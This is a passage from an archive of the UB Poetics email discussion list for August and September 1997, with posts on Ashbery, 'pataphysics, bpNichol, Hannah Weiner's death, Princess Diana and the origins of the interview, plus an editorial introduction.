I'm not so certain about this, Mark, and perhaps I am more cynical than you are. I think, for example, that a number of poets in those 'conservative' circles (terminology, we know, is quite loaded with pitfalls here) are beginning to give Robert Duncan a consenting nod -- even, if they are feminist, Gertrude Stein -- and not necessarily reading these two narrowly. For living writers it's a different story, but is the line really about linearity. I fear it's more of a social question than that. Where did who go to school, who do they know, who reads and cares about their work, etc.? What you suggest is that people actually try to read our 'difficult' books and are somewhat troubled by the nonlinear nature. What I wonder is if it, usually, even gets to the point of a reading, if a writer doesn't have a particular pedigree. That is the point where John Ashbery having gone to Harvard gets him in a few doors that Tom Mandel or Ron Silliman or Mary Margaret Sloan is not going to enter. Michael Palmer gets in some of those doors, too. And I don't say that to fault Ashbery or Palmer in the least.

If these were truly aesthetic questions, I would like it very much. But I fear that something else gets in the way before aesthetics or poetics even gets a chance. Something which is part social, part political, part MFA or school-related, part ugly, largely but not entirely unrecognized by those who would bar the gates.

Charles

↑ Index

591. **Jordan Davis**
idaho's cat, or yam what yam
Fri 29 Aug 1997

I hope John Ashbery will respond to Alexander Theroux's question about the number of commas in Ashbery's _Tennis Court Oath_ poem, "Idaho." H may see no need to do so, but it does seem like a matter worth addressing, _proportion_,

especially in this context. Who among us would maintain that Ashbery never published a less-than-perfect poem? So the hell what? Unlike Wordsworth, Ashbery seems to have persevered long enough to write _very well_ again.

That the LA Times wants web readers to pay for articles is fine, their business, but that the amount they want to charge is greater than $0.01 is discouraging. Microdollars! are what I have for Theroux's prose (and sorry, Dalkey, zip for the poems). Ad hominem on him aside, has anybody read the original review? Is Ashbery's account of Theroux's antagonism to modern(post)ism supportable?

What does an arbitrary number of commas threaten? (What are the um gender/camp/literary historical deals in "Idaho" that Theroux's dropkicking? Do they matter? Is it a strictly formal poem that offends Theroux on a strictly formal level? Would two commas have been sufficient? What about Ron Loewinsohn's poem about the swimmers with the row of semicolons -- is or is not that more meaningful? more beautiful?)

Are we really just a bunch of post-Berlinwall communards? Brave benighted souls? Ecch. How long will poets continue to be held to insane standards?

Yours in the question yams,
Jordan

PS Is this the first mention of Olsen (sic) outside of poetry land in years, or is it my image nation?

And when will someone do for the line from Ashbery to Padgett what has been done so successfully for the line from Olson to Howe?

PPS Letter to the editor rengafesto beginning

POETRY IS A GIVEN.

POETS ARE FREE AND RESPONSIBLE TO DO WITH WORDS WHAT THEY WANT.

WHAT POETS DO WITH WORDS MAY NOT BE RECOGNIZABLE -- BUT WHAT THEY DO MAY BECOME SO. THERE IS NO REASON TO HARM POETS OR SPEAK ILL OF THEM BECAUSE OF YOUR INABILITY TO READ THEM.

↑ Index

592. Alan Jen Sondheim
On the Road
Fri 29 Aug 1997

Jennifer says she's been on the road. She says she's found her one true love.

She's sorry she can't write a rhyme for a long time. She's sorry she can't even punctuate rites or spel a spell.

She's swollen. I'd say pregnant. Mourning sickenss for depression. What grabs the objet petit a so to _speak._

Cloked or choked.

Jennifer says, well, it's all better off this way anyway, you know language can just perform SO MUCH and then you want the real thing.

Even poets want the real thing.

You know it when it hurts.

Even poets perform.

Jennifer says and says but she's not listening to what she's saying.

The brain chops meat like a cleaver.

Julu, she's dead.

She was the listening-function, so says Deleuze-Guattari. They turned her into a machine. Lathe.

Hehe.

- J

↑ Index

593. David Bromige

Another blast from the (poetry) past : Ron Loewinsohn

Fri 29 Aug 1997

On the day I post a thumbnail sketch of Opal Nations, a happy shock to see (for 1st time since i signed on the List) the name of Ron Loewinsohn, a writer probably better-known (Allen anthology) than Opal, but one also who was read by a number of my associates in the 70's & who then stopped writing (or publishing, in any case) poetry. He has scholarly articles on W.C.W. & perhaps others, and two novels published, one of which, _Magnetic Fields_, won a worthwhile prize, but I havent seen his poetry for a long time. _Watermelons_ was published in the late 50s (Ron then being in his very early 20s), with praise front & back from WCW & Allen Ginsberg. A number of books followed, with perhaps the most notable being _Against the Silences to Come_ , whose title poem is built up of some exquisite "chording" that links the daily paper with history of the poem as feeling-object. Again, a poet to recommend, one who may not be known to the generation now in their 20s and 30s.

Despite the slightly obit tone of my postings today, these poets are both very much alive, Nations when not in the recording studio can be found at ...help,

the name of that record store in Albany? El Cerrito? ...and Loewinsohn, teaching at UC Bkly. Give em a read. David

footnote to Opal Nations as multi-talented person : for many years, he was a highly popular DJ on KPFA (pbs) Bkly, until "let go" by dubious management decision. He has taken his show (originally "Doo-Wop Delights") to a pbs station in Santa Cruz, but just once or twice monthly.

↑ Index

594. George Bowering
Re: 'pataphysics & Opal Louis Nations
Sat 30 Aug 1997

---

bpNichol and Steve McCaffery over the years spent a lot of time on 'pataphysics, or the Canadian version, which is called "pataphysics.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

595. Carl Lynden Peters
Re: 'pataphysics & Opal Louis Nations
Sat 30 Aug 1997

The crucial essay is Nichol's "The "Pata of Letter Feet, or, The English Written Character as a Medium for Poetry." i think this also one of the few _critical_ pieces bp wrote on the topic, i mean he was a performer, and didn't always stop performing to rationalize over the performance. i cld be wrong. But this essay is such a _pause_. Of course there is also the collected symposium papers of the conf. held in Toronto (i forget the date). But again i think his essay there is more a performance of "pataphysics than critical account. Nichol's essay has fascinated since forever. It's such an important text. he wrote it coz Prof. Hugh LeRoy in the Fine Arts Dept. at York University asked him to, to come in and talk abt art & poetry to the graduate students there. That was in 1985 or 86. i've seen the manuscript version of this text and it's interesting how he ponders & revises certain words, certain phrases. The essay is so simple. But not too simple. As you can tell, i love that essay and cld talk abt it forever. But i'm saving my best stuff for my dissertation. We owe Prof. LeRoy much thanx.

> *bpNichol and Steve McCaffery over the years spent a lot of time on 'pataphysics, or the Canadian version, which is called "pataphysics.*

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596. Robert Archambeau
Re: Jazz Poetry
Sat 30 Aug 1997

Hank Lazer wrote:

> *The current issue of _River City_ magazine has a couple of short essays on jazz & poetry: one by me (on early Creeley, and current Mackey), and one by Aldon.*

Could someone backchannel me the (snail) address for _River City_?

Thanks much,

R.A.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

Time ere poems Time ere plighted troth
Nor forward glance nor backward gaze at signs none
 --Brian Coffey

↑ Index

597. Craig Douglas Dworkin
'Pataphysics
Sun 31 Aug 1997

Greetings all,

Those interested in what might be called an "applied 'pataphysics" will want to take a look at the recent "Open Letter" (Ninth Series, Number 7, Winter 1997), edited by Christian Bok (whose dissertation is actually on 'Pataphysics) and Darren Wershler-Henry (whose dissertation is a long-overdue study of the typewriter and literature), two York students whose combination of brilliance and irreverence probably hasn't been seen in a university since the Moscow Linguistic Circle formed in the mid 'teens. Of special note in the issue: Steve McCaffery's "Zarathrustran 'Pataphysics," which takes Christopher Dewdney's "Fractal Diffusion" an order of magnitude further.

Highest recommendation as well to their recent books of poetry, Bok's "Crystalography" (Coach House Press, 1994) and Wershler-Henry's "NICHOLODEON: a book of lowerglyphs" (Coach House Printing, 1997).

happy reading,
--Craig Dworkin

↑ Index

598. **Dan or Orion Dlugonski**
Princess Dead
Sun 31 Aug 1997

A quick word on the accident:

Princess Di

cele(b)rity kills

↑ Index

599. **mark weiss**
(no subject)
Sun 31 Aug 1997

I just received a request for a review copy of Rochelle Owens' book from "S.V. Caldwell, Ph.D., Editor" of the Sandia Review of Books in Albuquerque. Regular letterhead, no phone number. The mag isn't listed in CLMP or Dustbooks, and I suspect that it's a phoney. This happened to me once before, with another outfit that turned out to be a scam to build a personal library for free. Has anybody out there heard of Sandia or its editor?

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600. **charles alexander**
(no subject)
Sun 31 Aug 1997

> *I just received a request for a review copy of Rochelle Owens' book from "S.V. Caldwell, Ph.D., Editor" of the Sandia Review of Books in Albuquerque. Regular letterhead, no phone number. The mag isn't listed in*

Mark, Sandia Review of Books does sound familiar. It is more like a local book review newspaper, I believe, than any kind of "little magazine," so I'm not surprised if it doesn't show up in Dust Books or CLMP. Someone in Albuquerque on this list probably knows, if there is someone in Albuquerque on this list. If not, you might find your way, perhaps through the web, to an Albuquerque

phone book or business directory -- or you might try to find and call a bookstore in Albuquerque.

charles

charles alexander
poet and book artist
[redacted]

↑ Index

601. Rachel Loden
black stone on a white stone
Sun 31 Aug 1997

Perhaps it's silly to be thinking of this now, and in such a context; if so, apologies. Hope the special characters come through

PIEDRA NEGRA SOBRE UNA PIEDRA BLANCA

Me moriré en París con aguacero,
un día del cual tengo ya el recuerdo.
Me moriré en París--y no me corro--
talvez un jueves, como es hoy de otoño.

Jueves será, porque hoy, jueves, que proso
estos versos, los húmeros me he puesto
a la mala y, jamás como hoy, me he vuelto,
con todo mi camino, a verme solo.

César Vallejo ha muerto, le pegaban
todos sin que él les haga nada;
le daban duro con un palo y duro

también con una soga; son testigos
los días jueves y los huesos húmeros,
la soledad, la lluvia, los caminos . . .

--César Vallejo

↑ Index

602. David R. Israel
poet gets (at once) insta-fame & quick-anonymity
Sun 31 Aug 1997

Poetas,

according to today's NY Times (see appended excerpt), the good (& needfully clandestine) writer Salman Rushdie has wed an American poet by name Elizabeth. Many happy returns.

The article refers to a new prose-fiction anthology, published in the U.S. as *Mirrorwork: 50 Years of Indian Writing (1947-1997)*, edited by Salman Rushdie and Elizabeth West (Henry Holt & Co.)

(seems, the implication is "West" would be a pseudonym)

[what follows is from:
http://www.nytimes.com/yr/mo/day/news/national/ny-rushdie-wedding.html
one mus register w/ the paper (via http://www.nytimes.com) to download]

> August 31, 1997
> Salman Rushdie, Still Hiding, Is Married in Secret
>
> By JANE H. LII

Salman Rushdie, the author of "The Satanic Verses," who has lived in hiding for nearly a decade as the object of an open-ended Islamic death sentence, was married in secret on Thursday in the Hamptons on Long Island.

> The details of the wedding were not given, but Andrew Wylie, Rushdie's agent, said Saturday: "Elizabeth and Salman Rushdie are happy to confirm that they were married on Thursday, Aug. 28, in a small ceremony."

Newspaper reporters in London, speaking on the condition of anonymity, said the new Mrs. Rushdie, whose maiden name is being withheld to protect her safety, is a poet who had collaborated with Rushdie on an anthology of modern Indian writing. The Daily Mail, a newspaper published in London, reported that the couple had had a child last month. . . .

/ / / /

btw, talkin' of celebrity & anonymity, here's my contribution anent the late Princess of Wales -- responsive to remarks from one writer (here rendered anon.) not from this list . . .; a "boomerang poem" (as I call 'em).

> *It saddens me deeply. It also causes me to reflect on how very lucky we are that we live our lives in relative anonymity. That we can get away for a week at the beach without worrying about photographers behind every sand dune. We can smoke our cigarettes in the early morning hours, blissfully alone, just us and the sand and the waves.*

poise / pause / paz (for Diana)

that the known might desire anonymity
(the anonymous still coveting renown)
that the famous should pine for obscurity?
when celebs are the talk-of-the-town
(ever bearing the weight of that crown)
might one just assume fathom the surety
of less-glamorous chances to frown? . . .
how the known may renew anonymity

d.i.

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 .
 .....
 ............
 \\\\
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604. **nuyopoman**
Re: POETICS Digest - 29 Aug 1997 to 30 Aug 1997
Sun 31 Aug 1997

Is "The Pata of Letter..." on the net somewhere?

Bob Holman

↑ Index

605. **Carl Lynden Peters**
Re: POETICS Digest - 29 Aug 1997 to 30 Aug 1997
Sun 31 Aug 1997

---

i know Karl Young only recently put a series of bp's _Translating Translating Apollinaire_ pomes on his Grist archive. i think poetics may even be linked to it. if not _wr-eye-tings_ is. i can't remember the address for the archive off hand. Grist may be the place to start, tho.

> *Is "The Pata of Letter..." on the net somewhere?*
>
> *Bob Holman*

↑ Index

606. **charles alexander**
Nichol on Light & Dust Site
Sun 31 Aug 1997

Karl Young's Light & Dust web site was mentioned as having bp Nichol's work, relating to the pataphysics thread, but someone (was it you, Carl) didn't have the URL at hand.

The URL of the Light & Dust's contents page is
http://www.thing.net/~grist/l&d/lighthom.htm

Works by Nichol there are Translating Translating Apollinaire, at
http://www.thing.net/~grist/l&d/bpnichol/lnichol1.htm

and works from Sharp Facts (variations on Translating Translating Apollinaire 26), at
http://www.thing.net/~grist/l&d/bpnichol/bpsh.htm

But also look around at other works there. To me, it's one of the very best poetry sites on the web.

charles

charles alexander
poet and book artist
[redacted]

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

September 1997

649 messages · Mon 1 Sep 1997 – Tue 30 Sep 1997

The world spent the first week of September burying two women in front of an audience of billions, and the list, which gives the Princess eighteen mentions and Mother Teresa exactly one, was not really watching. On the eleventh, in a flat on East 12th Street in Manhattan, Hannah Weiner died of natural causes, alone and unexpectedly, six weeks short of sixty-nine. Charles Bernstein had the news late that night and told the room the next morning. What the room then did is, I think, the reason this archive is worth printing.

Bernstein's notice is four paragraphs of plain praise — her courage, her wickedly funny judgements of poets, her performances, the fact that the last few years had not been easy and she had gone on working anyway, pushing what a poem can do *"into new zones of perception"*. It ends: *"Hannah would have turned 69 on November 4"*. And then, appended without ceremony, a complete bibliography of her work, which he mentions he compiled some years ago. He had it ready. That is a sentence I want to leave standing on its own.

Then they read her. Douglas Messerli posted one of her late pieces entire. Lee Ann Brown posted what Weiner had written for her Tender Buttons book. Loss Glazier posted annotations. Peter Ganick named her last magazine issue, A.BACUS 107. James Sherry said, simply, that he had published her last book in 1996, and that anyone interested should ask. Keith Tuma wrote her one line in her own manner and left it alone: *"She was Spokeless in the unacknowledged world of Big Wheels"*. David Bromige, who could not manage more, managed six words — *"No more p.s.s for Hannah Weiner"* — which if you know the work is the whole elegy.

The strangers spoke too, and this is the part that stopped me. Maria Damon, who had spent three days of August 1996 begging this same list to help her theorise Weiner for an essay, wrote to say that *"tho i never met her her work came to mean"* a great deal. Christopher Alexander posted with an apology attached: *"I didn't know Hannah Weiner, & I hesitate to post"* for that reason, not wanting to intrude on other people's grief. Compare, if you will, October of last year, when a man on this list said honestly that he did not see the point of Ms. Change's actions, never having heard of her. It is the same sentence and it has been turned inside out.

Because that is the difference and I am not going to pretend it is a moral improvement. Kathy Change was not one of theirs and Hannah Weiner was. What

I can say is that in nineteen months of this archive I have watched a room fail to read a dead girl's poems, fail to notice a loyalty oath in an obituary, fail to discuss a living poet's lecture, and spend ninety-seven letters on an anthology; and in September 1997, given a death, it did the only thing it has ever been unambiguously good at. It posted the work. I have set Bernstein's bibliography where it fell, at the foot of the notice, on the morning after, because a man who loves a poet keeps her bibliography where he can reach it.

— Kristen M. Fabians

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444. Burt Kimmelman — Re: Bromige on 'readers' versions'.
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456. George Bowering — Re: readers' versions of great lit
457. David Bromige — younger poets anthology
458. George Bowering — Re: Bromige on 'readers' versions'.

459. David Bromige — e-ddress for Coach House Books/Victor Coleman
460. Jordan Davis — readers versions
461. Jordan Davis — Re: younger poets anthology
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463. Henry Gould — yngr-than-thou publ. notice
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467. Ira Lightman — Clark Coolidge's Polaroid
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499. Jordan Davis — The silence of the list
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501. Dale Smith — Re: The Name & the Paradox of its Contents
502. Douglas Barbour — Re: _Boxkite_
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504. Mark Prejsnar — Re: The Paradox and the Name of its Disco Tents
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518. Rachel Levitsky — Re: innovative poetry audiences
519. Daniel Zimmerman — Re: The Name & the Paradox of its Contents
520. William Burmeister Prod — Re: Names, Paradoxes, etc.
521. Eliza McGrand — Re: The Name & the Paradox of its Contents
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523. mark weiss — Re: The Name & the Paradox of its Contents
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594. Aldon Nielsen — Re: My name . . . Jose Jimenez
595. Eryque Gleason — Re: working class thread
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599. Kali Tal — Book announcement: Maggie Jaffe's How The West Was One
600. Dale Smith — Re: People of Color?
601. Dale Smith — Social Tangles
602. Maria Damon — Re: stereotypes
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604. Daniel Zimmerman — (no subject)
605. Hugh Steinberg — (no subject)
606. Joel Felix — (no subject)

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611. Eliza McGrand — Re: stereotypes
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613. Tenney Nathanson — Re: just buffalo
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617. Maria Damon — Re: Social Tangles

618. Schuchat Simon — Re: People of Color
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623. Rachel Levitsky — Re: People of Color?
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627. simon — Re: People of Color
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630. Ira Lightman — Re: Social Tangles
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636. Jacques Debrot — Re: *Chain* & what one likes
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643. Michael Magee — Re: Lynn Hejinian's essay "Rejection of Closure"
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645. Susan Clark — Lyn Hejinian's "Rejection of Closure"
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647. Eliza McGrand — Re: stereotypes
648. Kali Tal — Race, identity, otherness, us-ness, stereotypes....
649. mark weiss — Re: stereotypes

1. Fred Muratori
(no subject)
Mon 1 Sep 1997

Re:

> *I just received a request for a review copy of Rochelle Owens' book from "S.V. Caldwell, Ph.D., Editor" of the Sandia Review of Books in Albuquerque. Regular letterhead, no phone number. The mag isn't listed in CLMP or Dustbooks, and I suspect that it's a phoney. This happened to me once before, with another outfit that turned out to be a scam to build a personal library for free. Has anybody out there heard of Sandia or its editor?*

For what it's worth, there are no records for a _Sandia Review of Books_ in either the OCLC or RLIN databases, two huge bibliographic utilities containing information on the holdings of literally thousands of US and non-US libraries. This doesn't constitute a definitive answer, of course -- there are plenty of micromags and fanzines that almost no libraries acquire -- but before sending a copy of the book, you could I suppose request a sample copy of the journal.

-- FM

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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2. David Bromige
The Calculation
Mon 1 Sep 1997

The Calculation

I compose a piece about Shakespeare
How he masqued the crimes of Kings
How murder can be made to seem accident
In somewhat the manner of Shakespeare
I add that this fragment was found just now
In a tunnel in a college in Paris
And my thigh cramps up my leg shoots out

And the screen goes dark lights up goes dark
It seems reasonable to suppose my leg cramp
Drove my foot onto the powerbar
And paranoid to suppose anything else
Though there are many ways now to administer
Pain or death undetectable ways
To stage an accident to do what an accident fails to
It must appear unjusifiably self-centered
To suppose anything under the appearances
To overlook the dissatisfaction I was feeling
With my approach to this large & chancy theme
So that my psychology if not mere chance also
Rendered somatic account for the blank drawn
When I try to retrieve the draft and feel relief
And of course the times we live in explain it all

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3. Red Slider

Re: The Calculation

Mon 1 Sep 1997

David wrote:

> The Calculation

I compose a piece about Shakespeare
How he masqued the crimes of Kings
How murder can be made to seem accident
In somewhat the manner of Shakespeare
I add that this fragment was found just now
In a tunnel in a college in Paris
And my thigh cramps up my leg shoots out
And the screen goes dark lights up goes dark
It seems reasonable to suppose my leg cramp
Drove my foot onto the powerbar
And paranoid to suppose anything else
Though there are many ways now to administer
Pain or death undetectable ways
To stage an accident to do what an accident fails to
It must appear unjusifiably self-centered
To suppose anything under the appearances
To overlook the dissatisfaction I was feeling
With my approach to this large & chancy theme

So that my psychology if not mere chance also
Rendered somatic account for the blank drawn
When I try to retrieve the draft and feel relief
And of course the times we live in explain it all

Red writes: Thanx for the reminder - got in an argument last night with the glued-to-TV bunch about the nature of what was being witnessed, but couldn't grab the burr under my saddle. No doubt about it, the car was driving through a rat's ass - a loaded one at that. Just so happens a bright light got turned out halfway through the tunnel - but then, not the first time that's happened, We've lost a lot of bright lights in the rat's ass.

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4. Dean A. Brink

Re: JavaPoetry

Mon 1 Sep 1997

Thank you David and Red for nice and helpful comments on my Javanized (reJavanated) verse.

dean

> "*Men with Coins*"
> *http://www.w-link.net/~dean/JavaPoetry/mencoins.html*

dean brink
EALC/UChicago [redacted]
interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

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5. David Bromige

Dean Brink administers a rebuke, or a misplaced gratitude?

Mon 1 Sep 1997

Dean, I know nothing of yr "rejavanized" poetry. Could you be speaking sarcastically--was it something I was supposed to comment on, but failed to? If so, I must say that, like many on this list, I do not take it as my duty to respond to every thread, let alone every posting. If, on the other hand, some recent posting of mine struck you as responsive to a posting of yours, I can only say, "Not consciously," and ask you to be kind enough to re-post yr post, back-channel if you wish. Thank you. David

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6. David R. Israel

Re: Dean Brink administers a rebuke, or a misplaced gratitude?

Tue 2 Sep 1997

David Bromige strikes a note of question --

> *Dean, I know nothing of yr "rejavanized" poetry. Could you be speaking sarcastically--was it something I was supposed to comment on, but failed to? If so, I must say that, like many on this list, I do not take it as my duty to respond to every thread, let alone every posting. If, on the other hand, some recent posting of mine struck you as responsive to a posting of yours, I can only say, "Not consciously," and ask you to be kind enough to re-post yr post, back-channel if you wish. Thank you. David*

I think I can clarify this mystery, by noting that Dean's meaning was neither of the above-noted possibilities -- for the reasn that the "David" to whom he referred was not David Bromige but rather, the undersigned. I had, indeed, offered some comment regarding Dean's experimental use of Java-script (hence, the "reJavanated" et cet).

For sake of balancing the slate, I, too, David, have occasionally looked with a start of apprehension at some Poetics posting that makes mention of David's comments -- but only for a split second; for it generally becomes clear that the David in question is you, rather than me. This seems to have been the rarer instance where the reverse situation proved in evidence.

Perhaps someone will at some point make reference to the hymnist who is our namesake & prototype, and then we can both look befuddled in sync or in tandem . . .

till then, yours, &c.,

David

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  >   david   raphael   israel   <
  >>     washington  d.c.     <<
| ▇▇▇▇▇▇▇   (home)
| ▇▇▇▇▇▇▇      (office)
==========================
|  thy centuries follow each other
|  perfecting a small wild flower
|                                (Tagore)
//////////////////////////////////////////\\\\\/////
```

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7. Thomas Bell
Re: thot on theroux and avant-garde
Tue 2 Sep 1997

Don't think this made it. Sorry if it's a repeat.

Came across the following today. Thought it was apposite to the recent flurries here re avant-garde, new directions and the Theroux/Ashberry businness. My reading is that language and, by context, poetry, is the "avant-garde", as per Plato, in its ability to let in what doesn't fit the rules, what is antithetical to historicism. Comments? tom bell

"Language today is the enemy of the State and historicity because of its power to germinate systems antithetical to custom, since custom is partly dependent on coded laws. Historicism, while allying itself with writing, knowing its enlarged scalar power as a reread document, distrusts its projective character (translation: stability). Taking language truly seriously as a partly known, partly unknowable form of energy is instantly recognizable to historicism as an antithetical challenge." _ Piombino, "Writing and Experiencing"

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8. Hugh Steinberg
Interviews
Tue 2 Sep 1997

A general question to the list:

What is the origin of the interview as a written, literary form? Does it predate radio/TV? Does it predate journalism? What/when was the first interview?

Thanks

Hugh Steinberg

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9. mark weiss
Re: Interviews
Tue 2 Sep 1997

Plato

At 12:50 AM 9/2/97 -0600, you wrote:
>A general question to the list:
>
>What is the origin of the interview as a written, literary form? Does it
>predate radio/TV? Does it predate journalism? What/when was the first
>interview?
>
>Thanks
>
>Hugh Steinberg
>
>

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10. Pierre Joris
Re: Interviews
Tue 2 Sep 1997

Hmm, on the more frivolous side, Plato innerviewing Socrates, & on the more serious side, Herodotus interviewing everyone to find out what really happened. Pierre

Hugh Steinberg wrote:

> *A general question to the list:*
>
> *What is the origin of the interview as a written, literary form? Does it*
> *predate radio/TV? Does it predate journalism? What/when was the first*
> *interview?*
>
> *Thanks*
>
> *Hugh Steinberg*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"I have never been able to tell a beginning
from an end." — Georges Braque
==========

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11. David R. Israel

Re: Interviews

Tue 2 Sep 1997

Hugh Steinberg asks a general question to the list:
>
> What is the origin of the interview as a written, literary form?
> Does it predate radio/TV? Does it predate journalism? What/when
> was the first interview?

Interesting question. Arguably, the form we know as the interview is at least *related* to the ancient form known as the dialogue.

Sources in extant literature for the latter importantly include, of course, the Platonic (or Socratic) dialogues of ancient Greece, as well as the forest-dialogues (somewhat kindred, perhaps -- I don't know that I've seen the comparison explored) that form at least a major portion of the Sanskrit philosophical texts known as the Upanishads (also called the Vedanta -- the "end" or "completion" of the Vedas [scriptures]).

This likely doesn't address your question directly, but possibly adds at least a glow of long-shadow context. Also somewhat anecdotally (or let's say tangentially), the form of the interview in the modern sense was very curiously predated -- i.e., moved back in time -- by Meredith Monk in her film *Book of Days*, which included what amounted to t.v.-style interviews of various figures in a midaeval European city.

Having reached the end of relevance, I await the "real answer" too.

d.i.

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\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/////\\\\\
  >   david   raphael   israel   <
  >>     washington  d.c.     <<
| ▇▇▇▇▇▇▇   (home)
| ▇▇▇▇▇▇▇      (office)
 ==========================
|   thy centuries follow each other
|   perfecting a small wild flower
|                                (Tagore)
/////////////////////////////////////////\\\\\/////
```

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12. David R. Israel
Re: Interviews
Tue 2 Sep 1997

Hmm --Pierre Joris answers this electro-interview question thus:

> *Hmm, on the more frivolous side, Plato innerviewing Socrates, & on the more serious side, Herodotus interviewing everyone to find out what really happened. Pierre*

I wonder if the (or a) next step down the primrose path toward today's Charlie Rose & The Paris Review might be discerned (or discoverable) in the traditions (midaeval?) of courts of law, jurisprudence -- the interrogation, the interview of witnesses, and whatever may have antedated our contemporary formal traditions of direct & cross-examination, &c.

Since the Writ of Habeas Corpus dates back to -- what? -- the 13th century or something, one wonders how far back one finds those (possibly related) formalities . . .

(as is well known [sorta or not-quite relatedly], the Petrarchan sonnet is alleged to have origins in the formal jargon of law . . .)

happy near-autumn,
d.i.

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13. Henry Gould
Re: thot on theroux and avant-garde
Tue 2 Sep 1997

On Mon, 1 Sep 1997 23:17:22 -0500 Thomas Bell said:
>
>"Language today is the enemy of the State and historicity
>because of its power to germinate systems antithetical to
>custom, since custom is partly dependent on coded laws.
>Historicism, while allying itself with writing, knowing its
>enlarged scalar power as a reread document, distrusts its
>projective character (translation: stability). Taking
>language truly seriously as a partly known, partly
>unknowable form of energy is instantly recognizable to
>historicism as an antithetical challenge." _ Piombino,
>"Writing and Experiencing"
>

Seems to me language-as-word is only one facet of a unitary/divided meta-language of the mind, which includes words, which includes "the State", etc. And setting up who's "the enemy" is the oldest chessgame in the world - nothing avant-garde about it. It's called "us vs. them" and it's about projecting psychological conflicts inherent in human nature. The idea that "writers" or "language artists" are avant-garde because they're breaking down stilted social codes ignores the fact that words and the book have been used as weapons of control, revenge, self- glorification, order, resentment, heirarchy, etc. etc. since the slaves of Assurbanipal or whoever started pressing wedges in the clay. Are these the historicists? They're the avant-garde in language tools. - Henry Gould

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14. Douglas Barbour

Re: And of course the times we live in explain it all

Tue 2 Sep 1997

Thanks, David, for the whole poem. It does catch something of the 'mood' many of us find ourselves within. What's been done with what happened in that tunnel since is beginning to get me down, anyway. On the other hand...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

15. Henry Gould
publ. announcement
Tue 2 Sep 1997

Nedge #5 is now available. Issue contains several poetics listmembers, a number of RI poets, and a general theme (unbeknownst to the editors!) of "the earth".

Poetry: Alan Elyshevitz, B.Z. Niditch, Laura Albrecht, Susan Wheeler, Eileen Myles, Mark Peters, Joel Lewis, Errol Miller, Leslie Scalapino, Robert Parham, Elliza McGrand, Paula Tatarunis, Alicia Vogl Saenz, Bob Heman, John Tagliabue, Edwin Honig, Karen Donovan, Joshua Beckman, Colin Esler, Janet Sullivan, Steve Leto, Roderick Potter, Paul Petrie.

Extensive long-poem excerpts from Sherry Brennan and D.E. Steward.

Fiction by Alfred Schwaid.

Essays: "Fusion Poetry" by Michael Basinski; "Ars est celare artem" by Henry Gould.

96 pp. perfect bound. $6.00 payable to: The Poetry Mission, PO Box 2321, Providence, RI 02906. Or backchannel your request & I will bill you. Overseas orders - email and we'll work something out. [redacted]. Thanks, everyone - Henry

↑ Index

16. Christopher Alexander
Re: 'Pataphysics
Tue 2 Sep 1997

Craig wrote:
> Highest recommendation as well to their recent books of poetry, Bok's
> "Crystalography" (Coach House Press, 1994) and Wershler-Henry's
> "NICHOLODEON: a book of lowerglyphs" (Coach House Printing, 1997).

Bok's "Crystallography: A Report on Lucid Writing", apparently a related project or the same project in a different form (so to speak), is also available for $5 or so through Damian Lopes' wonderful little press fingerprinting inkoperated:

http://www.interlog.com/~dal/fi/

I just ordered a copy myself.

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

↑ Index

17. Timothy Materer
Another general question: paparazzi
Tue 2 Sep 1997

Now that we have an idea about who did the first interview, does anyone know who were the first paparazzi? I think most people first heard the term in La Dolce Vita.

Timothy Materer, 228 Tate Hall, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

↑ Index

18. Maria Damon
diacccritix
Tue 2 Sep 1997

---

well folks i've at length had the time/space to explore the double issue of dia-critix on poetry and community that i made such snotty remarks about (w/o having read it) earlier in the spring. i found it --esp the introduction by jonathan monroe, which i think i'll have occasion to assign in classes or draw from in my future endeavors --engaging and smart, tho' some of the articles were over my head. thanks for the opportunity to make up for earlier brattiness. maria d

↑ Index

19. Red Slider
of Chessgames and Princesses
Tue 2 Sep 1997

---

spanning David B.'s illuminating, if chilling, capture and arrest and Henry's thoughtful, if chilling, indictment both, on the illusion of the primacy of art, I am reminded of this observation from Louis Mumford:

"Psychologically healthy people have no need to indulge fantasies of absolute power; nor do they need to come to terms with reality by inflicting self-

mutilation and prematurely courting death. But the critical weakness of an over-regimented institutional structure--and almost by definition 'civilization' was over-regimented from the beginning--is that it does not tend to produce psychologically healthy people."

"The rigid division of labor and the segregation of castes produce unbalanced characters, while mechanical routine normalizes--and rewards--those compulsive personalities who are afraid to cope with the embarrassing riches of life."

The kings no longer need hide their crimes. They have only to demonstrate that flashbulbs, O-rings and the Times alike produce jobs.

against Henry's remarks on "language artists", no matter where the shifting frontlines are thought to be, there is perhaps only illusion to be played, one pawn at a time.

A long forgotten healer's art
of speech made fast within
that string the bow tips of the heart
to sing the quivering

> Of reed, the flute; of string, the lyre
> to warrior was given;
> heaven prepares and earth provides,
> the dead divide the living.

Warrior!, stretch upon thy deed
> bend thy bow to fit thy word
> take such strength from dexterous reed,
> in that, be what is heard.

I wonder now if illusions ever served as useful nostrums?

red.

↑ Index

20. David Bromige
my father among the earlier paparazzi?
Tue 2 Sep 1997

My father, Harold Bromige, worked all his life for Gaumont-British Newsreels, from 1919 on. While I am sure he would be shocked at the conduct of today's scandalsheet photogs, he had many tales of "cutthroat" competition among the different newsreel companies, e.g. when one outfit had secured excloo rights to film a cricket match, the opposiiton rented second storey rooms facing their cameras & flashed mirrors into the lenses. My father filmed the-then Prince of Wales (later, the Duke of Windsor) coming unglued going over a

